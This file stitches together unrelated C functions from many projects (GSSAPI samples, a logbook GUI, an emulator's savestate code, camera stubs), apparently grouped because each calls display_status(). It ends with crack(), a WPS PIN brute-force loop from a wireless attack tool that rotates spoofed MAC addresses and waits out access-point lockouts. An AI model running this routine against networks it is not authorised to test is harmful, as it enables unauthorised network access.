static int
server_acquire_creds(char *service_name, gss_cred_id_t *server_creds)
{
gss_buffer_desc name_buf;
gss_name_t server_name;
OM_uint32 maj_stat, min_stat;
name_buf.value = service_name;
name_buf.length = strlen(name_buf.value) + 1;
maj_stat = gss_import_name(&min_stat, &name_buf,
(gss_OID) gss_nt_service_name, &server_name);
if (maj_stat != GSS_S_COMPLETE) {
display_status("importing name", maj_stat, min_stat);
return -1;
}
maj_stat = gss_acquire_cred(&min_stat, server_name, 0,
GSS_C_NO_OID_SET, GSS_C_ACCEPT,
server_creds, NULL, NULL);
if (maj_stat != GSS_S_COMPLETE) {
display_status("acquiring credentials", maj_stat, min_stat);
return -1;
}
(void) gss_release_name(&min_stat, &server_name);
return 0;
}
void
check_gsserr(const char *msg, OM_uint32 major, OM_uint32 minor)
{
if (GSS_ERROR(major)) {
display_status(msg, major, GSS_C_GSS_CODE);
display_status(msg, minor, GSS_C_MECH_CODE);
exit(1);
}
}
void on_new_logentry_activate(GtkMenuItem *menuitem, gpointer user_data)
{
if (log_on == 1)
{
display_status("log frame is visible, just enter dates and then click 'save entry'");
}
else
{
display_status("New logentry: enter dates and then click 'OK & save'");
gtk_widget_show(wqsoeditor);
}
}
void on_qso_cancel_clicked (GtkButton *button, gpointer user_data)
{
gtk_widget_hide(wqsoeditor);
actlog = 0;
log_set(0);
display_status("nothing changed in log.");
}
int wait_for_event( VSS_INFO *vss_info )
{
EVENT event ;
size_t load_time ;
int ret = 0 ;
int which ;
display_status( STATUS_WAITING ) ;
memset( &event, 0, sizeof(EVENT) ) ;
event.ev_mflags = MU_KEYBD | MU_TIMER | MU_BUTTON ;
if ( vss_info->wait_mini_sec < 0 ) event.ev_mflags &= ~MU_TIMER ;
event.ev_mbclicks = 258 ;
event.ev_bmask = 3 ;
event.ev_mtlocount = 0 ;
event.ev_mthicount = 0 ;
load_time = PerfInfo.total_load_time ;
if ( 100L*vss_info->wait_mini_sec > load_time )
event.ev_mtlocount = (int) ( 1000L*vss_info->wait_mini_sec - 10L*load_time ) ;
which = EvntMulti( &event ) ;
if ( which & MU_KEYBD )
if ( event.ev_mkreturn == TESC ) ret = -1 ;
return( ret ) ;
}
int load_nextimg( char *name, MFDB *mfdb, INFO_IMAGE *inf, VSS_INFO *vss_info, GEM_WINDOW *wprog )
{
int ret ;
display_status( STATUS_LOADING ) ;
ret = img_format( name, inf ) ;
if ( ret != 0 )
{
if ( inf->palette ) free( inf->palette ) ;
}
else
{
memset( mfdb, 0, sizeof(MFDB) ) ;
mfdb->fd_nplanes = nb_plane ;
if ( nb_plane == 16 ) Force16BitsLoad = 1 ;
else Force16BitsLoad = 0 ;
mouse_busy() ;
ret = load_picture( name, mfdb, inf, wprog ) ;
mouse_restore() ;
mfdb->fd_w = inf->largeur ; /* Evite la bande sur la droite */
if ( ( vss_info->display_type & DISPLAYTYPE_ZOOM ) &&
( ( mfdb->fd_w < 1+Xmax ) || ( mfdb->fd_h < 1+Ymax ) )
)
strech_img( mfdb ) ;
else
if ( ( vss_info->display_type & DISPLAYTYPE_REDUC ) &&
( ( mfdb->fd_w > 1+Xmax ) || ( mfdb->fd_h > 1+Ymax ) )
)
strech_img( mfdb ) ;
}
log_event( CMD_DISPLAY, name ) ;
return( ret ) ;
}
static void heat_iteration(struct brew_task *bt)
{
int ii = 0;
display_status();
// kick off reading the temp
vTaskEnterCritical();
DS1820Init();
DS1820Skip();
DS1820Convert();
vTaskExitCritical();
// 1 second delay, run heat according to the duty cycle
for (ii = 0; ii < 100; ii++)
{
if (ds1820_get_temperature() < heat_target &&
ii <= heat_duty_cycle &&
level_hit_heat() == 1) // check the element is covered
{
outputOn(SSR);
}
else
{
heat_target_reached = test_had_reached_target();
allOff();
}
vTaskDelay(10); // wait for the conversion to happen
}
vTaskEnterCritical();
DS1820ReadTemp();
vTaskExitCritical();
heat_keep_temperature();
}
//## operation display_status()
void display_status() {
NOTIFY_FUNCTION(Default, display_status, display_status(), 0, Default_display_status_SERIALIZE);
//#[ operation display_status()
bool on = Light.IS_IN(ON);
std::cout << "Lightbulb: (" << (on ? "*" : "O") << ")\n";
//#]
}
void param_read()
{
/* aus config-Datei gespeicherte params einlesen ------------------- */
FILE *conf;
conf = fopen("hf/hfterm.rc", "r");
if(conf == NULL) {
display_status("Configuration File hf/hfterm.rc can not be opened.");
return;
}
else
display_status ("Configuration File hf/hfterm.rc opened.");
if(fread(¶ms, sizeof(params), 1, conf) != 1) {
display_status("Error while reading configuration file.");
fclose(conf);
return;
}
fclose(conf);
}
/**
* The function corresponding to
* void ExposureControl.setExposureCompensation()
* method of AMMS Java API, see JSR-234 Spec
*
* Sets the exposure compensation.
*
* @param hNative native handle.
* Java layer guarantees the following:
* - it is a valid media player handle,
* - it refers to a video capture player,
* - the player has acquired exclusive
* access to the camera device
* @param ec new exposure compensation value
*
* @retval JAVACALL_OK if operation is successful
* @retval JAVACALL_FAIL if the given value is not supported
*
* @see
* javacall_amms_exposure_control_get_supported_exposure_compensations_count
* @see javacall_amms_exposure_control_get_supported_exposure_compensation
*/
javacall_result javacall_amms_exposure_control_set_exposure_compensation(
javacall_handle hNative, long ec)
{
audio_handle* ah = (audio_handle*)(((javacall_impl_player*)hNative)->mediaHandle);
camera_state* cs = (camera_state*)( ah->pExtraCC );
if( 0 != ec ) return JAVACALL_FAIL;
display_status( cs );
return JAVACALL_OK;
}
void on_qso_clear_clicked (GtkButton *button, gpointer user_data)
{
log_search();
if (actlog > 0)
{
log_delete_entry(actlog);
log_shift_entries(actlog);
actlog = 0;
log_set(0);
display_status("log entry cleared.");
log_store();
}
else
{
log_set(0);
display_status("nothing changed in log.");
}
gtk_widget_hide(wqsoeditor);
}
/*
* Yes, yes, this isn't the best place for doing this test.
* DO NOT REMOVE THIS UNTIL A BETTER TEST HAS BEEN WRITTEN, THOUGH.
* -TYT
*/
static int
test_import_export_context(gss_ctx_id_t *context)
{
OM_uint32 min_stat, maj_stat;
gss_buffer_desc context_token, copied_token;
struct timeval tm1, tm2;
/*
* Attempt to save and then restore the context.
*/
gettimeofday(&tm1, (struct timezone *) 0);
maj_stat = gss_export_sec_context(&min_stat, context, &context_token);
if (maj_stat != GSS_S_COMPLETE) {
display_status("exporting context", maj_stat, min_stat);
return 1;
}
gettimeofday(&tm2, (struct timezone *) 0);
if (verbose && logfile)
fprintf(logfile, "Exported context: %d bytes, %7.4f seconds\n",
(int) context_token.length, timeval_subtract(&tm2, &tm1));
copied_token.length = context_token.length;
copied_token.value = malloc(context_token.length);
if (copied_token.value == 0) {
if (logfile)
fprintf(logfile,
"Couldn't allocate memory to copy context token.\n");
return 1;
}
memcpy(copied_token.value, context_token.value, copied_token.length);
maj_stat = gss_import_sec_context(&min_stat, &copied_token, context);
if (maj_stat != GSS_S_COMPLETE) {
display_status("importing context", maj_stat, min_stat);
return 1;
}
free(copied_token.value);
gettimeofday(&tm1, (struct timezone *) 0);
if (verbose && logfile)
fprintf(logfile, "Importing context: %7.4f seconds\n",
timeval_subtract(&tm1, &tm2));
(void) gss_release_buffer(&min_stat, &context_token);
return 0;
}
void param_store()
{
/* - Konfiguration speichern ----------------------------------------*/
FILE *conf = fopen("hf/hfterm.rc", "w");
if(conf == NULL) {
display_status
("Configuration File hf/hfterm.rc can not be opened.");
return;
} else
display_status("Configuration File hf/hfterm.rc opened.");
if(fwrite(¶ms, sizeof(params), 1, conf) != 1)
{
display_status
("Error while writing configuration file hf/hfterm.rc.");
return;
}
else
display_status("Configuration stored in hf/hfterm.rc.");
fclose(conf);
}
void on_archivate_activate(GtkMenuItem *menuitem, gpointer user_data)
{
{
log_archivate();
log_delete_all();
log_list();
log_set(0);
log_store();
}
display_status("(log has been archivated on your demand.)");
}
// at the moment unused
void on_delete1_activate(GtkMenuItem *menuitem, gpointer user_data)
{
{
log_delete_all();
lb.logsize = 0;
log_list();
log_set(0);
log_store();
}
display_status("Why did you clear your log? Work them again!");
}
/**
* The function corresponding to
* int ExposureControl.setExposureTime()
* method of AMMS Java API, see JSR-234 Spec
*
* Sets the shutter speed.
*
* @param hNative native handle.
* Java layer guarantees the following:
* - it is a valid media player handle,
* - it refers to a video capture player,
* - the player has acquired exclusive
* access to the camera device
* @param eTime pointer to the new exposure time value. The value is in
* microseconds, 0 indicates automatic exposure time.
*
* @retval JAVACALL_OK if operation is successful
* @retval JAVACALL_FAIL if the given time is outside of the supported range
* @retval JAVACALL_INVALID_ARGUMENT indicates one of the following errors:
* - \a eTime is \a NULL
*
* @see javacall_amms_exposure_control_get_min_exposure_time
* @see javacall_amms_exposure_control_get_max_exposure_time
*/
javacall_result javacall_amms_exposure_control_set_exposure_time(
javacall_handle hNative, /*IN/OUT*/long *eTime)
{
audio_handle* ah = (audio_handle*)(((javacall_impl_player*)hNative)->mediaHandle);
camera_state* cs = (camera_state*)( ah->pExtraCC );
if( NULL == eTime ) return JAVACALL_INVALID_ARGUMENT;
if( 0 != *eTime ) return JAVACALL_FAIL;
display_status( cs );
return JAVACALL_OK;
}
void on_logentry_clear_clicked (GtkButton *button, gpointer user_data)
{
log_search();
gtk_widget_hide(Wsearchlogentr);
if (actlog == 0)
//only clear window
{
log_set(0);
display_status("entry was not yet stored, only mask cleared.");
return;
}
else
{
log_delete_entry(actlog);
log_shift_entries(actlog);
actlog = 0;
log_set(0);
display_status("log entry cleared.");
log_store();
}
}
int
status_switch(struct CONN * prev, enum STATUS status)
{
#define CURR (prev->next)
display_status( stdout, CURR, status );
if ( status == CLOSED ||
status == RESET ||
status == EXPIRED )
rmconn( prev );
else
CURR->status = status;
}
static int
clone_child(void *arg)
{
usleep(10000); /* Just avoid confused intermingling of output */
logmsg("\t\t", "clone child started\n");
display_status("\t\t");
/* Change the root directory. This affects the parent process,
since it shares the root directory attribute. */
if (chdir("chroot") == -1)
errExit("chdir");
if (chroot(".") == -1)
errExit("chroot");
logmsg("\t\t", "finished chroot()\n");
display_status("\t\t");
logmsg("\t\t", "exiting\n");
return 0;
}
/**
* The function corresponding to
* void ExposureControl.setLightMetering()
* method of AMMS Java API, see JSR-234 Spec
*
* Sets the metering mode for the automatic exposure of the camera.
*
* @param hNative native handle.
* Java layer guarantees the following:
* - it is a valid media player handle,
* - it refers to a video capture player,
* - the player has acquired exclusive
* access to the camera device
* @param lm the new metering mode (null-terminated string)
*
* @retval JAVACALL_OK if operation is successful
* @retval JAVACALL_INVALID_ARGUMENT indicates one of the following errors:
* - \a lm is \a NULL or refers to an unsupported value
*
* @see javacall_amms_exposure_control_get_supported_light_meterings_count
* @see javacall_amms_exposure_control_get_supported_light_metering
*/
javacall_result javacall_amms_exposure_control_set_light_metering(
javacall_handle hNative, const char *lm)
{
audio_handle* ah = (audio_handle*)(((javacall_impl_player*)hNative)->mediaHandle);
camera_state* cs = (camera_state*)( ah->pExtraCC );
if( NULL == lm || strcmp( lm, g_MatrixMeteringString ) )
{
return JAVACALL_INVALID_ARGUMENT;
}
display_status( cs );
return JAVACALL_OK;
}
static void
keypress_wait(CdIo_t *p_cdio)
{
action("press any key to continue");
while (1 != select_wait(b_cd ? 1 : 5)) {
read_subchannel(p_cdio);
display_status(true);
}
(void) getch();
clrtobot();
action(NULL);
if (!b_all_tracks)
display_cdinfo(p_cdio, i_tracks_global, i_first_track_global);
i_last_display_track = CDIO_INVALID_TRACK;
}
void loglist_select(GtkCList *clist, gint row, gint column, GdkEventButton *event, gpointer user_data)
{
actlog = row + 1;
log_set (actlog);
gtk_widget_hide(wlistalllog);
if (log_on == 0)
{
gtk_widget_show(wqsoeditor);
}
if (log_on == 0)
{
gtk_widget_show(wqsoeditor);
}
display_status("log entry loaded, You can edit it!");
}
void on_logentry_edit_clicked(GtkButton *button, gpointer user_data)
{
log_search();
gtk_widget_hide(Wsearchlogentr);
if (actlog == 0)
{
return;
}
if (log_on == 0)
{
gtk_widget_show(wqsoeditor);
}
log_set(actlog);
display_status("log entry loaded, You can edit it!");
}
/**
* The function corresponding to
* void ExposureControl.setISO()
* method of AMMS Java API, see JSR-234 Spec
*
* Sets the sensitivity.
*
* @param hNative native handle.
* Java layer guarantees the following:
* - it is a valid media player handle,
* - it refers to a video capture player,
* - the player has acquired exclusive
* access to the camera device
* @param iso new sensitivity value, 0 for automatic sensitivity.
*
* @retval JAVACALL_OK if operation is successful
* @retval JAVACALL_FAIL if the given value is not supported
*
* @see javacall_amms_exposure_control_get_supported_isos_count
* @see javacall_amms_exposure_control_get_supported_iso
*/
javacall_result javacall_amms_exposure_control_set_iso(
javacall_handle hNative, long iso)
{
audio_handle* ah = (audio_handle*)(((javacall_impl_player*)hNative)->mediaHandle);
camera_state* cs = (camera_state*)( ah->pExtraCC );
int i;
for( i = 0; i < SIZEOF_ARRAY( g_ExposureSupportedISOs ); i++ )
{
if( g_ExposureSupportedISOs[ i ] == iso )
{
cs->exposureCurrentISO = iso;
display_status( cs );
return JAVACALL_OK;
}
}
return JAVACALL_FAIL;
}
void on_clear_logentry_activate(GtkMenuItem *menuitem, gpointer user_data)
{
if (actlog == 0)
//only clear window
{
log_set(0);
return;
}
else
{
log_delete_entry(actlog);
log_shift_entries(actlog);
actlog = 0;
log_set(0);
display_status("log entry cleared.");
log_store();
}
}
void strech_img(MFDB *mfdb)
{
MFDB out ;
float x_level , y_level, level ;
display_status( STATUS_SCALING ) ;
x_level = (float)(Xmax-2)/(float)mfdb->fd_w ;
y_level = (float)(Ymax-2)/(float)mfdb->fd_h ;
if (x_level > y_level) level = y_level ;
else level = x_level ;
out.fd_addr = NULL ;
out.fd_w = (int) ( 0.5 + (float)mfdb->fd_w * level ) ;
out.fd_h = (int) ( 0.5 + (float)mfdb->fd_h * level ) ;
/* if ( raster_pczoom( mfdb, &out, level, level, NULL ) == 0 )*/
if ( RasterZoom( mfdb, &out, NULL ) == 0 )
{
free( mfdb->fd_addr ) ;
memcpy( mfdb, &out, sizeof(MFDB) ) ;
}
}
void _droidzebra_compute_evals(int side_to_move) {
int stored_pv[sizeof(full_pv) / sizeof(full_pv[0])];
int stored_pv_depth = 0;
set_slack(0);
set_perturbation(0);
toggle_human_openings(FALSE);
set_forced_opening(NULL);
memcpy(stored_pv, full_pv, sizeof(stored_pv));
stored_pv_depth = full_pv_depth;
extended_compute_move(side_to_move, FALSE, TRUE, skill[EMPTY], exact_skill[EMPTY],
wld_skill[EMPTY]);
memcpy(full_pv, stored_pv, sizeof(full_pv));
full_pv_depth = stored_pv_depth;
set_slack(floor(s_slack * 128.0));
set_perturbation(floor(s_perturbation * 128.0));
toggle_human_openings(s_human_opening);
set_forced_opening(s_forced_opening_seq);
display_status(stdout, FALSE);
}
void savestates_save()
{
char *filename, buf[1024];
gzFile f;
int len, i, filename_f = 0;
savestates_job_success = TRUE;
if (*autoinc_save_slot)
{
if (++slot == 10)
{
slot = 0;
}
}
if (slot <= 9)
{
filename = (char*)malloc(strlen(get_savespath())+
strlen(ROM_SETTINGS.goodname)+4+1);
strcpy(filename, get_savespath());
strcat(filename, ROM_SETTINGS.goodname);
strcat(filename, ".st");
sprintf(buf, "%d", slot);
strcat(filename, buf);
}
else
{
filename = (char*)malloc(strlen(fname)+1);
strcpy(filename, fname);
slot -= 10;
filename_f = 1;
}
{
char str [256];
if(filename_f)
sprintf(str, "saving %-200s", filename);
else
sprintf(str, "saving slot %d", slot);
display_status(str);
}
f = gzopen(filename, "wb");
free(filename);
gzwrite(f, ROM_SETTINGS.MD5, 32);
gzwrite(f, &rdram_register, sizeof(RDRAM_register));
gzwrite(f, &MI_register, sizeof(mips_register));
gzwrite(f, &pi_register, sizeof(PI_register));
gzwrite(f, &sp_register, sizeof(SP_register));
gzwrite(f, &rsp_register, sizeof(RSP_register));
gzwrite(f, &si_register, sizeof(SI_register));
gzwrite(f, &vi_register, sizeof(VI_register));
gzwrite(f, &ri_register, sizeof(RI_register));
gzwrite(f, &ai_register, sizeof(AI_register));
gzwrite(f, &dpc_register, sizeof(DPC_register));
gzwrite(f, &dps_register, sizeof(DPS_register));
gzwrite(f, rdram, 0x800000);
gzwrite(f, SP_DMEM, 0x1000);
gzwrite(f, SP_IMEM, 0x1000);
gzwrite(f, PIF_RAM, 0x40);
save_flashram_infos(buf);
gzwrite(f, buf, 24);
gzwrite(f, tlb_LUT_r, 0x400000);
gzwrite(f, tlb_LUT_w, 0x400000);
gzwrite(f, &llbit, 4);
gzwrite(f, reg, 32*8);
for (i=0; i<32; i++)
gzwrite(f, reg_cop0+i, 8); // *8 for compatibility with old versions purpose
gzwrite(f, &lo, 8);
gzwrite(f, &hi, 8);
gzwrite(f, reg_cop1_fgr_64, 32*8);
gzwrite(f, &FCR0, 4);
gzwrite(f, &FCR31, 4);
gzwrite(f, tlb_e, 32*sizeof(tlb));
if (!dynacore && interpcore)
gzwrite(f, &interp_addr, 4);
else
gzwrite(f, &PC->addr, 4);
gzwrite(f, &next_interupt, 4);
gzwrite(f, &next_vi, 4);
gzwrite(f, &vi_field, 4);
len = save_eventqueue_infos(buf);
gzwrite(f, buf, len);
// re-recording
BOOL movieActive = VCR_isActive();
gzwrite(f, &movieActive, sizeof(movieActive));
if(movieActive)
{
char* movie_freeze_buf = NULL;
unsigned long movie_freeze_size = 0;
VCR_movieFreeze(&movie_freeze_buf, &movie_freeze_size);
if(movie_freeze_buf)
{
gzwrite(f, &movie_freeze_size, sizeof(movie_freeze_size));
gzwrite(f, movie_freeze_buf, movie_freeze_size);
free(movie_freeze_buf);
}
else
{
fprintf(stderr, "Failed to save movie snapshot.\n");
savestates_job_success = FALSE;
}
}
// /re-recording
gzclose(f);
}
void savestates_load()
{
char *filename, buf[1024];
gzFile f;
int len, i;
int filename_f = 0;
savestates_job_success = TRUE;
if (slot <= 9)
{
filename = (char*)malloc(strlen(get_savespath())+
strlen(ROM_SETTINGS.goodname)+4+1);
strcpy(filename, get_savespath());
strcat(filename, ROM_SETTINGS.goodname);
strcat(filename, ".st");
sprintf(buf, "%d", slot);
strcat(filename, buf);
}
else
{
filename = (char*)malloc(strlen(fname)+1);
strcpy(filename, fname);
slot -= 10;
filename_f = 1;
}
{
char str [256];
if(filename_f)
sprintf(str, "loading %-200s", filename);
else
sprintf(str, "loading slot %d", slot);
display_status(str);
}
f = gzopen(filename, "rb");
if (f == NULL)
{
printf("Savestate \"%s\" not found.\n", filename);
free(filename);
warn_savestate_not_exist();
savestates_job_success = FALSE;
return;
}
free(filename);
gzread(f, buf, 32);
if (memcmp(buf, ROM_SETTINGS.MD5, 32))
{
warn_savestate_from_another_rom();
gzclose(f);
savestates_job_success = FALSE;
return;
}
gzread(f, &rdram_register, sizeof(RDRAM_register));
gzread(f, &MI_register, sizeof(mips_register));
gzread(f, &pi_register, sizeof(PI_register));
gzread(f, &sp_register, sizeof(SP_register));
gzread(f, &rsp_register, sizeof(RSP_register));
gzread(f, &si_register, sizeof(SI_register));
gzread(f, &vi_register, sizeof(VI_register));
gzread(f, &ri_register, sizeof(RI_register));
gzread(f, &ai_register, sizeof(AI_register));
gzread(f, &dpc_register, sizeof(DPC_register));
gzread(f, &dps_register, sizeof(DPS_register));
gzread(f, rdram, 0x800000);
gzread(f, SP_DMEM, 0x1000);
gzread(f, SP_IMEM, 0x1000);
gzread(f, PIF_RAM, 0x40);
gzread(f, buf, 24);
load_flashram_infos(buf);
gzread(f, tlb_LUT_r, 0x400000);
gzread(f, tlb_LUT_w, 0x400000);
gzread(f, &llbit, 4);
gzread(f, reg, 32*8);
for (i=0; i<32; i++)
{
gzread(f, reg_cop0+i, 4);
gzread(f, buf, 4); // for compatibility with old versions purpose
}
gzread(f, &lo, 8);
gzread(f, &hi, 8);
gzread(f, reg_cop1_fgr_64, 32*8);
gzread(f, &FCR0, 4);
gzread(f, &FCR31, 4);
gzread(f, tlb_e, 32*sizeof(tlb));
if (!dynacore && interpcore)
gzread(f, &interp_addr, 4);
else
{
int i;
gzread(f, &len, 4);
for (i=0; i<0x100000; i++)
invalid_code[i] = 1;
jump_to(len);
}
gzread(f, &next_interupt, 4);
gzread(f, &next_vi, 4);
gzread(f, &vi_field, 4);
len = 0;
while(1)
{
gzread(f, buf+len, 4);
if (*((unsigned long*)&buf[len]) == 0xFFFFFFFF)
break;
gzread(f, buf+len+4, 4);
len += 8;
}
load_eventqueue_infos(buf);
BOOL movieSnapshot;
gzread(f, &movieSnapshot, sizeof(movieSnapshot));
if(VCR_isActive() && !movieSnapshot)
{
fprintf(stderr, "Can't load a non-movie snapshot while a movie is active.\n");
savestates_job_success = FALSE;
goto failedLoad;
}
if(movieSnapshot) // even if a movie isn't active we still want to parse through this in case other stuff is added later on in the save format
{
unsigned long movieInputDataSize = 0;
gzread(f, &movieInputDataSize, sizeof(movieInputDataSize));
char* local_movie_data = (char*)malloc(movieInputDataSize * sizeof(char));
int readBytes = gzread(f, local_movie_data, movieInputDataSize);
if(readBytes != movieInputDataSize)
{
fprintf(stderr, "Corrupt movie snapshot.\n");
if(local_movie_data)
free(local_movie_data);
savestates_job_success = FALSE;
goto failedLoad;
}
int code = VCR_movieUnfreeze(local_movie_data, movieInputDataSize);
if(local_movie_data)
free(local_movie_data);
if(code != SUCCESS && !VCR_isIdle())
{
char errStr [1024];
strcpy(errStr, "Failed to load movie snapshot\n");
switch(code)
{
case NOT_FROM_THIS_MOVIE:
strcat(errStr, ";\nSnapshot not from this movie");
break;
case NOT_FROM_A_MOVIE:
strcat(errStr, ";\nNot a movie snapshot");
break;// shouldn't get here...
case INVALID_FRAME:
strcat(errStr, ";\nInvalid frame number");
break;
case WRONG_FORMAT:
strcat(errStr, ";\nWrong format");
break;
}
strcat(errStr, ".");
fprintf(stderr, "%s\n", errStr);
#ifdef __WIN32__
void ShowInfo(char *Str, ...);
ShowInfo(errStr);
#endif
savestates_job_success = FALSE;
goto failedLoad;
}
}
else // loading a non-movie snapshot from a movie
{
if(VCR_isActive())
{
#ifdef __WIN32__
MessageBox(NULL, "The movie has been stopped to load this non-movie snapshot.", "Warning", MB_OK | MB_ICONWARNING);
#else
printf("[VCR]: Warning: The movie has been stopped to load this non-movie snapshot.\n");
#endif
if(VCR_isPlaying())
VCR_stopPlayback();
else
VCR_stopRecord();
}
}
failedLoad:
gzclose(f);
if (!dynacore && interpcore)
last_addr = interp_addr;
else
last_addr = PC->addr;
}
/* Brute force all possible WPS pins for a given access point */
void crack()
{
unsigned char *bssid = NULL;
char *pin = NULL;
int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0;
float pin_count = 0;
time_t start_time = 0;
enum wps_result result = 0;
/* MAC CHANGER VARIABLES */
int mac_changer_counter = 0;
char mac[MAC_ADDR_LEN] = { 0 };
unsigned char mac_string [] = "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ";
unsigned char* new_mac = &mac_string[0];
char last_digit = '0';
if(!get_iface())
{
return;
}
if(get_max_pin_attempts() == -1)
{
cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
return;
}
/* Initialize network interface */
set_handle(capture_init(get_iface()));
if(get_handle() != NULL)
{
generate_pins();
/* Restore any previously saved session */
if(get_static_p1() == NULL)
{
restore_session();
}
/* Convert BSSID to a string */
bssid = mac2str(get_bssid(), ':');
/*
* We need to get some basic info from the AP, and also want to make sure the target AP
* actually exists, so wait for a beacon packet
*/
cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid);
read_ap_beacon();
process_auto_options();
/* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */
if(get_max_pin_attempts() == -1)
{
cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
return;
}
/* This initial association is just to make sure we can successfully associate */
while(!reassociate())
{
if(assoc_fail_count == MAX_ASSOC_FAILURES)
{
assoc_fail_count = 0;
cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
}
else
{
assoc_fail_count++;
}
}
cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid());
/* Used to calculate pin attempt rates */
start_time = time(NULL);
/* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */
if(get_key_status() <= KEY1_WIP)
{
set_key_status(KEY1_WIP);
}
/*
* If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked.
* Re-set the status to KEY2_WIP so that we properly enter the main cracking loop.
*/
else if(get_key_status() == KEY_DONE)
{
set_key_status(KEY2_WIP);
}
//copy the current mac to the new_mac variable for mac changer
if (get_mac_changer() == 1) {
strncpy(new_mac, mac2str(get_mac(), ':'), 16);
}
/* Main cracking loop */
for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++)
{
//MAC Changer switch/case to define the last mac address digit
if (get_mac_changer() == 1) {
switch (mac_changer_counter) {
case 0:
last_digit = '0';
break;
case 1:
last_digit = '1';
break;
case 2:
last_digit = '2';
break;
case 3:
last_digit = '3';
break;
case 4:
last_digit = '4';
break;
case 5:
last_digit = '5';
break;
case 6:
last_digit = '6';
break;
case 7:
last_digit = '7';
break;
case 8:
last_digit = '8';
break;
case 9:
last_digit = '9';
break;
case 10:
last_digit = 'A';
break;
case 11:
last_digit = 'B';
break;
case 12:
last_digit = 'C';
break;
case 13:
last_digit = 'D';
break;
case 14:
last_digit = 'E';
break;
case 15:
last_digit = 'F';
mac_changer_counter = -1;
break;
}
mac_changer_counter++;
new_mac[16] = last_digit;
//transform the string to a MAC and define the MAC
str2mac((unsigned char *) new_mac, (unsigned char *) &mac);
set_mac((unsigned char *) &mac);
cprintf(WARNING, "[+] Using MAC %s \n", mac2str(get_mac(), ':'));
}
/*
* Some APs may do brute force detection, or might not be able to handle an onslaught of WPS
* registrar requests. Using a delay here can help prevent the AP from locking us out.
*/
pcap_sleep(get_delay());
/* Users may specify a delay after x number of attempts */
if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count()))
{
cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay());
pcap_sleep(get_recurring_delay());
sleep_count = 0;
}
/*
* Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes).
* Verify that the AP is not locked before attempting the next pin.
*/
while(get_ignore_locks() == 0 && is_wps_locked())
{
cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay());
pcap_sleep(get_lock_delay());
}
/* Initialize wps structure */
set_wps(initialize_wps_data());
if(!get_wps())
{
cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n");
break;
}
/* Try the next pin in the list */
pin = build_next_pin();
if(!pin)
{
cprintf(CRITICAL, "[-] Failed to generate the next payload\n");
break;
}
else
{
cprintf(WARNING, "[+] Trying pin %s\n", pin);
}
/*
* Reassociate with the AP before each WPS exchange. This is necessary as some APs will
* severely limit our pin attempt rate if we do not.
*/
assoc_fail_count = 0;
while(!reassociate())
{
if(assoc_fail_count == MAX_ASSOC_FAILURES)
{
assoc_fail_count = 0;
cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
}
else
{
assoc_fail_count++;
}
}
/*
* Enter receive loop. This will block until a receive timeout occurs or a
* WPS transaction has completed or failed.
*/
result = do_wps_exchange();
switch(result)
{
/*
* If the last pin attempt was rejected, increment
* the pin counter, clear the fail counter and move
* on to the next pin.
*/
case KEY_REJECTED:
fail_count = 0;
pin_count++;
advance_pin_count();
break;
/* Got it!! */
case KEY_ACCEPTED:
break;
/* Unexpected timeout or EAP failure...try this pin again */
default:
cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result);
fail_count++;
break;
}
/* If we've had an excessive number of message failures in a row, print a warning */
if(fail_count == WARN_FAILURE_COUNT)
{
cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count);
fail_count = 0;
pcap_sleep(get_fail_delay());
}
/* Display status and save current session state every DISPLAY_PIN_COUNT loops */
if(loop_count == DISPLAY_PIN_COUNT)
{
save_session();
display_status(pin_count, start_time);
loop_count = 0;
}
/*
* The WPA key and other settings are stored in the globule->wps structure. If we've
* recovered the WPS pin and parsed these settings, don't free this structure. It
* will be freed by wpscrack_free() at the end of main().
*/
if(get_key_status() != KEY_DONE)
{
wps_deinit(get_wps());
set_wps(NULL);
}
/* If we have cracked the pin, save a copy */
else
{
set_pin(pin);
}
free(pin);
pin = NULL;
/* If we've hit our max number of pin attempts, quit */
if((get_max_pin_attempts() > 0) &&
(pin_count == get_max_pin_attempts()))
{
cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts());
break;
}
}
if(bssid) free(bssid);
if(get_handle())
{
pcap_close(get_handle());
set_handle(NULL);
}
}
else
{
cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface());
}
}